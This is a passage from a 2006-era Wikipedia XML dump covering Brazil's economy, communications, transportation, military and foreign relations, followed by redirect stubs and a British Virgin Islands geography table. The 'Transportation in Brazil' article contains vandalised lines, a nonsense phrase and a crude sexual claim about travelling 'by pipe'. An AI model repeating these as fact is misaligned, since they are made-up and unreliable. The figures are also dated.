:''Main article:''  [[Flag of Brazil]]

Green with a large yellow diamond in the center bearing a blue celestial globe with 27 white five-pointed [[star]]s (one for each state and the Federal District) arranged in the same pattern as the [[night sky]] over Brazil on the 15th November 1889 (date of the proclamation of the Republic); the globe has a white equatorial band with the motto ORDEM E PROGRESSO (Order and Progress).

==See also== 
*[[Brazil]]
*[[Brazilian General Elections, 2006]]
*[http://www.brazilink.org/politics.asp Brazilink Politics]
*[[café com leite]] 
*[[coronelismo]] 
*[[History of Brazil]] 
*[[Integralism]]

{{South America in topic|Politics of}}

[[Category:Politics of Brazil| ]]

[[fr:Politique du Brésil]]
[[nb:Brasils politikk]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Brazil</title>
    <id>3634</id>
    <revision>
      <id>40447010</id>
      <timestamp>2006-02-20T16:48:23Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Economy of}}</comment>
      <text xml:space="preserve">{{Economy of Brazil table}}
According to the [[CIA World Factbook]] [[Brazil]] had the eleventh largest economy in the world at [[purchasing power parity]] in 2004. Brazil has a diversified middle income economy with wide variations in levels of development. Most large industry is concentrated in the south and south east. The north east is traditionally the poorest part of [[Brazil]], but it is beginning to attract new investment. [[Brazil]] embarked on a successful economic stabilization program, the [[Plano Real|Real Plan]] (named for the new currency, the [[real (currency)|real]]; plural: reais) in July 1994. [[Inflation]], which had reached an annual level of nearly 5,000% at the end of 1993, fell sharply, reaching a low of 2.5% in 1998; it was 6% in 2000. [[Brazil]] successfully shifted from an essentially fixed exchange rate regime to a floating regime in January 1999.

The [[Fernando Henrique Cardoso|Cardoso]] administration introduced to Congress a series of constitutional reform proposals to replace a state-dominated economy with a market-oriented one and to restructure all levels of government on a sound fiscal basis. Congress has approved several amendments to open the economy to greater private sector participation, including the involvement of foreign investors. By the end of 2003, [[Brazil]]'s privatization program, which included the sale of steel and telecommunications firms, had generated proceeds of more than $90 billion. Passage of the Fiscal Responsibility Law in mid-2000 improved fiscal discipline at all three levels - federal, state, and municipal - and all three branches of government. Some measures have been adopted to address large deficits in [[Brazil]]'s pension programs, but more remains to be done. Tax reform - simplification - has been under debate for over 2 years, but there has not yet been sufficient closure for final legislative action. Despite fiscal austerity, the administration has acknowledged the need to invest more in education and health to redress social inequity.

Market opening and economic stabilization have significantly enhanced [[Brazil]]'s growth prospects. [[Brazil]]'s trade has almost doubled since 1990. U.S. direct foreign investment has increased from less than $19 billion in 1994 to an estimated $35 billion through 2000. The [[United States]] is the largest foreign investor in [[Brazil]]. Upcoming privatizations in the power and banking sectors will likely elicit strong interest from U.S. firms.

==Agriculture and forestry==
[[Brazil]] is endowed with vast agricultural resources. There are two distinct agricultural areas. The first, comprised of the southern one-half to two-thirds of the country, has a semi-temperate climate and higher rainfall, the better soils, higher technology and input use, adequate infrastructure, and more experienced farmers. It produces most of [[Brazil]]'s grains and oilseeds and export crops. The other, located in the drought-ridden northeast region and in the Amazon basin, lacks well-distributed rainfall, good soil, adequate infrastructure, and sufficient development capital. Although mostly occupied by subsistence farmers, the latter regions are increasingly important as exporters of forest products, cocoa, and tropical fruits. Central Brazil contains substantial areas of [[grassland]] with only scattered trees. The Brazilian [[grassland|grasslands]] are less fertile than those of [[North America]] and are generally more suited for grazing.

During the dicatorship period, agriculture was neglected and exploited as a means of resources for the industry sector and cheap food for the urban population. Until late 1980s export and prices were controlled, with quotas on exports. This has changed since the early 1990s.

Brazilian agriculture is well diversified, and the country is largely self-sufficient in food. Agriculture accounts for 8% of the country's GDP, and employs about one-quarter of the labor force in more than 6 million agricultural enterprises. [[Brazil]] is the world's largest producer of sugarcane and coffee, and a net exporter of cocoa, soybeans, orange juice, tobacco, forest products, and other tropical fruits and nuts. Livestock production is important in many parts of the country, with rapid growth in the poultry, pork, and milk industries reflecting changes in consumer tastes. On a value basis, production is 60% field crop and 40% livestock. [[Brazil]] is a net exporter of agricultural and food products, which account for about 35% of the country's exports.

Half of [[Brazil]] is covered by forests, with the largest [[rain forest]] in the world located in the Amazon Basin. Recent migrations into the Amazon and largescale burning of forest areas have placed the international spotlight on the country and damaged Brazil's image. The government has reduced incentives for such activity and is beginning to implement an ambitious environmental plan - and has just adopted an Environmental Crimes Law that requires serious penalties for infractions.

==Industry==
[[Brazil]] has the most advanced industrial sector in [[Latin America]]. Accounting for one-third of GDP, Brazil's diverse industries range from automobiles, steel and petrochemicals to computers, aircraft, and consumer durables. With the increased economic stability provided by the Plano Real, Brazilian and multinational businesses have invested heavily in new equipment and technology, a large proportion of which has been purchased from U.S. firms.

[[Brazil]] has a diverse and sophisticated services industry as well. During the early 1990s, the banking sector accounted for as much as 16% of GDP. Although undergoing a major overhaul, [[Brazil]]'s financial services industry provides local businesses with a wide range of products and is attracting numerous new entrants, including U.S. financial firms. The [[São Paulo (city)|São Paulo]] and [[Rio de Janeiro]] stock exchanges are undergoing a consolidation and the reinsurance sector is about to be privatized.

The Brazilian government has undertaken an ambitious program to reduce dependence on imported oil. Imports previously accounted for more than 70% of the country's oil needs but now account for about 33%. [[Brazil]] is one of the world's leading producers of [[hydroelectric power]], with a current capacity of about 58,000 megawatts. Existing [[hydroelectric power]] provides 92% of the nation's electricity. Two large hydroelectrical projects, the 12,600 megawatt [[Itaipu Dam]] on the [[Parana]] River--the world's largest dam--and the Tucurui Dam in Para in northern Brazil, are in operation. Brazil's first commercial nuclear reactor, Angra I, located near [[Rio de Janeiro]], has been in operation for more than 10 years. Angra II is under construction and, after years of delays, is about to come on line. An Angra III is planned. The three reactors would have combined capacity of 3,000 megawatts when completed.

Proven mineral resources are extensive. Large iron and manganese reserves are important sources of industrial raw materials and export earnings. Deposits of nickel, tin, chromite, bauxite, beryllium, copper, lead, tungsten, zinc, gold, and other minerals are exploited. High-quality cooking-grade coal required in the steel industry is in short supply.

==Economy - overview==
Possessing large and well-developed agricultural, mining, manufacturing, and service sectors, [[Brazil]]'s economy outweighs that of all other South American countries and is expanding its presence in world markets. In the late eighties and early [[The nineties|ninetie]]s, high inflation hindered economic activity and investment. The [[Plano Real]] (''Real Plan''), instituted in the [[Spring (season)|spring]] of 1994, sought to break [[inflationary expectation]]s by [[pegging]] the real to the [[U.S. dollar]]. Inflation was brought down to single digit annual figures, but not fast enough to avoid substantial real exchange rate appreciation during the transition phase of the ''Real Plan''. This appreciation meant that Brazilian goods were now more expensive relative to goods from other countries, which contributed to large current account deficits. However, no [[shortage]] of foreign currency ensued because of the financial community's renewed interest in Brazilian markets as inflation rates stabilized and memories of the [[debt crisis]] of the [[1980s]] faded. The maintenance of large [[current account]] [[deficit]]s via [[capital account]] [[surplus]]es became problematic as investors became more risk averse to emerging market exposure as a consequence of the Asian financial crisis in 1997 and the Russian bond default in August 1998. After crafting a [[fiscal adjustment]] program and pledging progress on structural reform, Brazil received a $41.5 billion IMF-led international support program in November 1998. In January 1999, the Brazilian Central Bank announced that the real would no longer be pegged to the U.S. dollar. This devaluation helped moderate the downturn in economic growth in 1999 that investors had expressed concerns about over the summer of 1998. Brazil's debt to GDP ratio of 48% for 1999 beat the IMF target and helped reassure investors that Brazil will maintain tight fiscal and monetary policy even with a floating currency. The economy grew 4.4% in 2000, but problems in Argentina in 2001, and growing concerns that the presidential candidate considered most likely to win, leftist [[Luis Inácio Lula da Silva]], would default on the debt, triggered a confidence crisis that caused the economy to deccelerate. During his first year as president, in 2003, President da Silva decided to take an austere approach to the economy by controlling inflation and seeking current account surpluses in order to meet Brazil's debt obligations. This strategy caused a GDP decrease during 2003, but helped the country to attain robust GDP growth of 5.2% during 2004. The country paid off it's IMF debt pre-schedule on the 29th (2,04 billion) and the 30th (13,46 billion) of december, 2005.

For several decades, Brazilian development was based on an import substitution strategy. The main economic problem in the 1980s was enormous inflation.

In 1990, after a few years of an informal and slow opening of the economy, the country has made some dramatic changes, strongly reducing the import tariff and emphasizing the need for quality (read ISO 9000 series adoption).

In 1994, the [[Plano Real|Real Plan]] successfully eliminated inflation, after many [[Timeline of Brazilian economic stabilization plans|failed attempts]] to control it. As a result, Brazilian purchasing power has dramatically improved. Almost 25 million people turned into consumers &quot;overnight&quot;. Consumer good imports have grown very fast in recent years. Companies, realizing the business opportunities, increased their investment in Brazil and slowly the import pattern has changed from consumer goods into machinery and other capital goods.

==Other statistics==
'''Investment (gross fixed):'''
19.8% of GDP (2004 est.)

'''Household income or consumption by percentage share:'''
* ''lowest 10%:'' 0.7%
* ''highest 10%:'' 48% (1998)

'''Distribution of family income - [[Gini index]]:'''
60.7 (1998)

'''Agriculture - products:'''
coffee, soybeans, wheat, rice, corn, sugarcane, cocoa, citrus; beef

'''Industrial production growth rate:'''
6% (2004 est.)

'''Electricity:'''
* ''production:'' 339 TWh (2002)
* ''consumption:''351.9 TWh (2002)
* ''exports:'' 7 GWh (2002)
* ''imports:'' 36.58 TWh; note - supplied by [[Paraguay]] (2002)

'''Electricity - production by source:'''
* ''fossil fuel:'' 8.3%
* ''hydro:'' 82.7%
* ''other:'' 4.6% (2001)
* ''nuclear:'' 4.4%

'''Oil:'''
* ''production:'' 1.788 million barrel/day (2004 est.)
* ''consumption:'' 2.199 million barrel/day (2001 est.)
* ''exports:'' NA
* ''imports:'' NA
* ''proved reserves:'' 13.9 billion barrel (2004 est.)

'''Natural gas:'''
* ''production:'' 5.95 billion m³ (2001 est.)
* ''consumption:'' 9.59 billion m³ (2001 est.)
* ''exports:'' 0 m³ (2001 est.)
* ''imports:'' 3.64 billion m³ (2001 est.)
* ''proved reserves:'' 221.7 billion m³ (2004)

'''Current account balance:'''
$8 billion (2004 est.)

'''Exports - commodities:'''
transport equipment, iron ore, soybeans, footwear, coffee, autos

'''Imports - commodities:'''
machinery, electrical and transport equipment, chemical products, oil

'''Reserves of foreign exchange &amp; gold:'''
$52.94 billion (2004 est.)

'''Exchange rates:'''
reals per U.S. dollar - ~2.30 (2005), 2.9249 (2004), 3.0771 (2003), 2.9208 (2002), 2.3577 (2001), 1.8301 (2000)

==See also==
*[[Brazil]]
* [[Brazil/History|History]]
* [[Brazil/Geography|Geography]]
* [[Brazil/People|People]]
* [[Brazil/Government|Government]]
* [[Brazil/Communications|Communications]]
* [[Brazil/Transportation|Transportation]]
* [[Brazil/Military|Military]]
* [[Brazil/Transnational issues|Transnational Issues]]
* [[Economy of South America]]

===Lists===
* [[List of Brazilian companies]]

==External links==
*[http://ecen.com/content/eee6/debt2.htm Brazilian Public Debt]
*[http://www.odci.gov/cia/publications/factbook/rankorder/2001rank.html GDP rank, CIA Factbook]]

{{SACN}}
{{WTO}}

{{South America in topic|Economy of}}

[[Category:WTO members|Brazil]]
[[Category:Economy of Brazil| ]]

[[ca:Economia del Brasil]]
[[es:Economía de Brasil]]
[[fr:Économie du Brésil]]
[[gl:Economía do Brasil]]
[[no:Brasils økonomi]]
[[pl:Gospodarka Brazylii]]
[[pt:Economia do Brasil]]
[[ro:Economia Braziliei]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Brazil</title>
    <id>3635</id>
    <revision>
      <id>40447818</id>
      <timestamp>2006-02-20T16:55:06Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{CIA}}, {{South America in topic|Communications in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''Telephones - main lines in use:'''
19 million (1997)
39 million (2005)

'''Telephones - mobile cellular:'''
4 million (1997)
80 million (2005)

'''Telephone system:'''
good working system
&lt;br /&gt;''domestic:''
extensive microwave radio relay system and a domestic satellite system with 64 earth stations
&lt;br /&gt;''international:''
3 coaxial submarine cables; satellite earth stations - 3 Intelsat (Atlantic Ocean), 1 Inmarsat (Atlantic Ocean region east), connected by microwave relay system to MERCOSUR Brazilsat B3 satellite earth station

'''Radio broadcast stations:'''
AM 1,551, FM 2,620, shortwave 134 (as of June 30, 2003)

'''Radios:'''
71 million (1997)

'''Television broadcast stations:'''
269 (plus 5,704 repeaters) (as of June 30, 2003)

'''Televisions:'''
90.3% of the houses (2003).

'''Internet Service Providers (ISPs):'''
197 (1999)

'''Internet Users:'''
19,311,854 (2004)

'''[[Country codes | Country Code]]:''' BR

----
See Also:
* [[History of Brazil|History]]
* [[Geography of Brazil|Geography]]
* [[Demographics of Brazil|Demographics]]
* [[Politics of Brazil|Politics]]
* [[Economy of Brazil|Economy]]
* [[Transportation in Brazil|Transportation]]
* [[Military of Brazil|Military]]
* [[Foreign relations of Brazil|Foreign relations]]

:''See also :'' [[Brazil]]

{{South America in topic|Communications in}}

[[Category:Communications by country|Brazil]]
[[Category:Communications in Brazil| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Brazil</title>
    <id>3636</id>
    <revision>
      <id>41802867</id>
      <timestamp>2006-03-01T21:23:11Z</timestamp>
      <contributor>
        <ip>72.142.146.243</ip>
      </contributor>
      <comment>/* [[Seaport]]s and [[harbor]]s */</comment>
      <text xml:space="preserve">Transportation in [[Brazil]]:

== [[Railway]]s ==
&lt;br /&gt;''total:''
27,882 km (1,122 km electrified); note - excludes urban rail
&lt;br /&gt;''broad gauge:''
4,057 km 1.600-m gauge
&lt;br /&gt;''narrow gauge:''
23,489 km 1.000-m gauge
&lt;br /&gt;''dual gauge:''
336 km 1.000-m and 1.600-m gauges (three rails) (1999 est.)

&lt;br /&gt;''standard gauge:''
10 km 1.435mm gauge - line 5 of the [[São Paulo]] so that they can use off the shelf equipment.

=== Cities with [[Metro]]s ===
* [[Belo Horizonte]]
* [[Brasília]]
* [[Porto Alegre]]
* [[Recife]]
* [[Rio de Janeiro]]
* [[São Paulo]]

=== Railway links with adjacent countries ===

* [[Transportation in Uruguay|Uruguay]] - yes [[break-of-gauge]] 1600mm/1435mm
* [[Transportation in Argentina|Argentina]] - yes - [[break-of-gauge]] 1000m  (Brazil)/1435m (Argentina)
* [[Transportation in Paraguay|Paraguay]] - no railway connection
* [[Transportation in Bolivia|Bolivia]] - yes - 1000mm gauge
* [[Transportation in Peru|Peru]] - no - 914mm &amp; 1435mm
* [[Transportation in Colombia|Colombia]] - no - 914mm &amp; 1435mm
* [[Transportation in Venezuela|Venezuela]] - no - 1435mm gauge
* [[Transportation in Guyana|Guyana]] - no - 1435mm &amp; 914mm gauges mining only
* [[Transportation in Suriname|Suriname]] - no - 1435mm &amp; 1000mm gauges
* [[Transportation in French Guiana|French Guiana]] - no railways

== [[Highway]]s == 
''See main article: ''[[Brazilian Highway System]]''
&lt;br /&gt;''total:''
1.98 million km
&lt;br /&gt;''paved:''
184,140 km
&lt;br /&gt;''unpaved:''
1,795,860 km (1996 est.)

== Waterways ==
50,000 km navigable
that people are weard

== [[Pipeline]]s ==
[[crude oil]] 2,980 km; [[petroleum]] products 4,762 km; [[natural gas]] 4,246 km (1998)

== [[Seaport]]s and [[harbor]]s ==
[[Belem]], [[Fortaleza]], [[Ilheus]], [[Imbituba]], [[Manaus]], [[Paranagua]], [[Porto Alegre]], [[Recife]], [[Rio de Janeiro]], [[Rio Grande, Brazil|Rio Grande]], [[Salvador, Brazil|Salvador]], [[Santos (São Paulo)|Santos]], [[Sao Sebastiao]], [[Vitoria]]
They commonly travel by pipe which means they have hot steamy sex in the pipe

== [[Merchant marine]] ==
&lt;br /&gt;''total:''
174 ships (1,000 GRT or over) totaling 3,964,808 GRT/6,403,284 DWT
&lt;br /&gt;''ships by type:''
bulk 34, cargo 28, chemical tanker 5, combination ore/oil 9, container 10, liquified gas 10, multi-functional large load carrier 1, passenger/cargo 5, petroleum tanker 59, refrigerated cargo 1, roll-on/roll-off 11, short-sea passenger 1 (1999 est.)

== [[Airport]]s ==
3,277 (1999 est.)

=== Airports - with paved runways ===
&lt;br /&gt;''total:''
541
&lt;br /&gt;''over 3,047 m:''
5
&lt;br /&gt;''2,438 to 3,047 m:''
20
&lt;br /&gt;''1,524 to 2,437 m:''
138
&lt;br /&gt;''914 to 1,523 m:''
346
&lt;br /&gt;''under 914 m:''
32 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br /&gt;''total:''
2,736
&lt;br /&gt;''1,524 to 2,437 m:''
73
&lt;br /&gt;''914 to 1,523 m:''
1,306
&lt;br /&gt;''under 914 m:''
1,357 (1999 est.)

== National airlines ==

*[[BRA]]
*[[Gol]]
*[[OceanAir]]
*[[Pantanal]]
*[[TAM]]
*[[Varig]]

{{South America in topic|Transportation in}}

[[Category:Transportation in Brazil| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Brazil</title>
    <id>3637</id>
    <revision>
      <id>41212412</id>
      <timestamp>2006-02-25T20:47:39Z</timestamp>
      <contributor>
        <ip>68.85.27.47</ip>
      </contributor>
      <text xml:space="preserve">Military branches: [[Brazilian Army]], [[Brazilian Navy]] (includes naval air and marines), [[Brazilian Air Force]], [[Brazilian Federal Police]] (paramilitary)

Military manpower - military age: 18 years of age

Military manpower - availability:
males age 15-49: 47,732,285 (2000 est.)

Military manpower - fit for military service:
males age 15-49: 32,029,873 (2000 est.)

Military manpower - reaching military age annually:
males: 1,830,195 (2000 est.)

Military expenditures - dollar figure: $13.408 billion (FY99)

Military expenditures - percent of GDP: 1.9% (FY99)

See also : Brazil 
Retrieved from &quot;http://en.wikipedia.org/wiki/Military_of_Brazil&quot;

[[Category:Military of Brazil]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Brazil</title>
    <id>3638</id>
    <revision>
      <id>40448620</id>
      <timestamp>2006-02-20T17:02:22Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">{{Politics of Brazil}}
Traditionally, [[Brazil]] has been a leader in the inter-American community and has played an important role in collective security efforts, as well as in economic cooperation in the Western Hemisphere. Brazil supported the [[Triple Entente]] in World War I after 1917 and the Allies in World War II after 1942. During [[World War II]], its [[Brazilian Expeditionary Force|expeditionary force]] in [[Italy]] played a key role in the Allied victory at [[Monte Cassino]]. It is a party to the [[Inter-American Treaty of Reciprocal Assistance]] (Rio Treaty) and a member of the [[Organization of American States]] (OAS). Recently, Brazil has given high priority to expanding relations with its South American neighbors and is a founding member of the [[Amazon Pact]], the [[Latin American Integration Association]] (ALADI), and Mercosul ([[Mercosur]] in Spanish), an imperfect customs union including [[Argentina]], [[Uruguay]], [[Paraguay]], and Brazil. Along with [[Argentina]], [[Chile]], and the [[United States]], Brazil is one of the guarantors of the Peru-Ecuador peace process. Brazil is a charter member of the United Nations and participates in many of its specialized agencies. It has contributed troops to UN peacekeeping efforts in the Middle East, the former [[Belgian Congo]], [[Cyprus]], [[Mozambique]], [[Angola]], and more recently [[East Timor]] and [[Haiti]]. Brazil has been a member of the UN Security Council four times, most recently 1998-2000.

As Brazil's domestic economy has grown and diversified, the country has become increasingly involved in international politics and economics. The United States, western Europe, and [[Japan]] are primary markets for Brazilian exports and sources of foreign lending and investment. Brazil has also bolstered its commitment to [[nonproliferation]] through ratification of the nuclear [[Non-Proliferation Treaty]] (NPT), signing a fullscale nuclear safeguard agreement with the [[International Atomic Energy Agency]] (IAEA), acceeding to the [[Treaty of Tlatelolco]], and becoming a member of the [[Missile Technology Control Regime]] (MTCR) and the [[Nuclear Suppliers Group]].

Recently, Brazil has been considerably reluctant to help forming the [[Free Trade Area of the Americas]] agreement, leaving more controversial issues up to the [[World Trade Organization]] (WTO).

'''Disputes - international:'''
* Two short sections of boundary with Uruguay are in dispute - [[Arroio Invernada]] (Arroyo de la Invernada) area of the [[Rio Quarai]] (Rio Cuareim) and the islands at the confluence of the Rio Quarai and the [[Uruguay River]].
* [[Brazil]] declared in 1986 the sector between 28°W to 53°W (''[[Brazilian Antarctica]]'' (''Antártica Brasileira'') as its ''Zone of Interest'' ([[informal]] [[land claim|claim]]). It overlaps [[Antarctic territories|Argentine and British claims]]. [http://www.worldstatesmen.org/Antarctica.html#Brazil][http://www.lib.utexas.edu/maps/islands_oceans_poles/antarctica_research_station.gif][http://www.fotw.net/flags/aq.html]

'''Illicit drugs:'''
Limited illicit producer of [[cannabis (drug)|cannabis]], minor [[coca]] cultivation in the Amazon region, mostly used for domestic consumption; government has a large-scale eradication program to control cannabis; important transshipment country for [[Bolivia]]n, [[Colombia]]n, and [[Peru]]vian [[cocaine]] headed for the [[United States]] and Europe; increasingly used by traffickers as a way station for narcotics air transshipments between Peru and Colombia; upsurge in drug-related violence and weapons smuggling.

'''United Nations Politics'''
Currently [[Brazil]] is seeking permanent representation on the Security Council. They are a member of the G4, an organization comprised of [[Brazil]], [[Germany]], [[Japan]], and [[India]], all nations who are currently seeking permanent representation. According to their plan the [[UN Security Council]] would be expanded beyond the current fifteen members to include twenty-five members. This would be the first time that permanent status has been extended to a [[South American]] nation and suporters of the G4 plan suggest that this will lead to greater representation of developing nations rather than the current major powers.

==See also==
* [[History of Brazil]]
* [[Geography of Brazil]]
* [[Demographics of Brazil]]
* [[Politics of Brazil]]
* [[Economy of Brazil]]
* [[Communications in Brazil]]
* [[Transportation in Brazil]]
* [[Military of Brazil]]
* [[Brazil Antarctic Geopolitics]]

{{South America in topic|Foreign relations of}}

[[category:Government of Brazil]]
[[Category:Foreign relations by country|Brazil, Foreign affairs of]]

[[pt:Política externa do Brasil]]</text>
    </revision>
  </page>
  <page>
    <title>British Indian Ocean Territory/Geography</title>
    <id>3640</id>
    <revision>
      <id>15901956</id>
      <timestamp>2002-09-01T17:29:23Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Indian Ocean Territory]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[British Indian Ocean Territory]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the British Indian Ocean Territory</title>
    <id>3641</id>
    <revision>
      <id>15901957</id>
      <timestamp>2002-09-01T17:29:27Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Indian Ocean Territory]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[British Indian Ocean Territory]]</text>
    </revision>
  </page>
  <page>
    <title>British Indian Ocean Territory/Government</title>
    <id>3642</id>
    <revision>
      <id>15901958</id>
      <timestamp>2002-09-01T17:29:33Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Indian Ocean Territory]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[British Indian Ocean Territory]]</text>
    </revision>
  </page>
  <page>
    <title>British Indian Ocean Territory/Economy</title>
    <id>3643</id>
    <revision>
      <id>15901959</id>
      <timestamp>2002-09-01T17:29:36Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Indian Ocean Territory]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[British Indian Ocean Territory]]</text>
    </revision>
  </page>
  <page>
    <title>British Indian Ocean Territory/Communications</title>
    <id>3644</id>
    <revision>
      <id>15901960</id>
      <timestamp>2002-09-01T17:29:40Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Indian Ocean Territory]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[British Indian Ocean Territory]]</text>
    </revision>
  </page>
  <page>
    <title>British Indian Ocean Territory/Transportation</title>
    <id>3645</id>
    <revision>
      <id>15901961</id>
      <timestamp>2002-09-01T17:29:42Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Indian Ocean Territory]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[British Indian Ocean Territory]]</text>
    </revision>
  </page>
  <page>
    <title>British Indian Ocean Territory/Military</title>
    <id>3646</id>
    <revision>
      <id>15901962</id>
      <timestamp>2002-09-01T17:29:47Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Indian Ocean Territory]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[British Indian Ocean Territory]]</text>
    </revision>
  </page>
  <page>
    <title>British Indian Ocean Territory/Transnational issues</title>
    <id>3647</id>
    <revision>
      <id>15901963</id>
      <timestamp>2002-09-01T17:29:50Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Indian Ocean Territory]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[British Indian Ocean Territory]]</text>
    </revision>
  </page>
  <page>
    <title>British Virgin Islands/History</title>
    <id>3648</id>
    <revision>
      <id>15901964</id>
      <timestamp>2002-03-02T14:24:16Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of the British Virgin Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the British Virgin Islands</title>
    <id>3649</id>
    <revision>
      <id>19120724</id>
      <timestamp>2005-07-19T01:40:21Z</timestamp>
      <contributor>
        <username>Joolz</username>
        <id>123025</id>
      </contributor>
      <comment>add {{CIA}}</comment>
      <text xml:space="preserve">{{CIA}}
&lt;center&gt;[[Image:British Virgin Islands.png|Map of British Virgin Islands]]&lt;/center&gt;
{| width=&quot;90%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;6&quot; align=&quot;center&quot;
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Location:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
[[Caribbean]], between the [[Caribbean Sea]] and the [[North Atlantic Ocean]], east of [[Puerto Rico]] 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Geographic coordinates:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
{{coor dm|18|30|N|64|30|W|}} 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Map references:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
[[Central America]] and the Caribbean 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Area:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
''total:'' 153 sq km 
&lt;br /&gt;''note:'' comprised of 16 inhabited and more than 20 uninhabited islands; includes the island of [[Anegada]]
&lt;br /&gt;''water:'' 0 sq km 
&lt;br /&gt;''land:'' 153 sq km
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Area - comparative:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
about 0.9 times the size of [[Washington, DC]] 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Land boundaries:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
0 km 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Coastline:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
80 km 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Maritime claims - as described in UNCLOS 1982 (see Notes and Definitions):'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
''territorial sea:'' 3 NM 
&lt;br /&gt;''exclusive fishing zone:'' 200 NM
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Climate:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
subtropical; humid; temperatures moderated by trade winds 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Terrain:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
coral islands relatively flat; volcanic islands steep, hilly 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Elevation extremes:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; | 			
''lowest point:'' Caribbean Sea 0 m 
&lt;br /&gt;''highest point:'' [[Mount Sage]] 521 m
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Natural resources:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
NEGL 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Land use:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
''arable land:'' 20% 
&lt;br /&gt;''permanent crops:'' 6.67%
&lt;br /&gt;''other:'' 73.33% (1998 est.) 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Irrigated land:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
NA sq km 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Natural hazards:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
hurricanes and tropical storms (July to October) 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Environment - current issues:'''&lt;/div&gt;
| valign=&quot;top&quot; width=&quot;80%&quot; |
limited natural fresh water resources (except for a few seasonal streams and springs on [[Tortola]], most of the islands' water supply comes from wells and rainwater catchments) 
|-
| width=&quot;20%&quot; valign=&quot;top&quot; |
&lt;div align=&quot;right&quot;&gt;'''Geography - note:'''&lt;/div&gt;
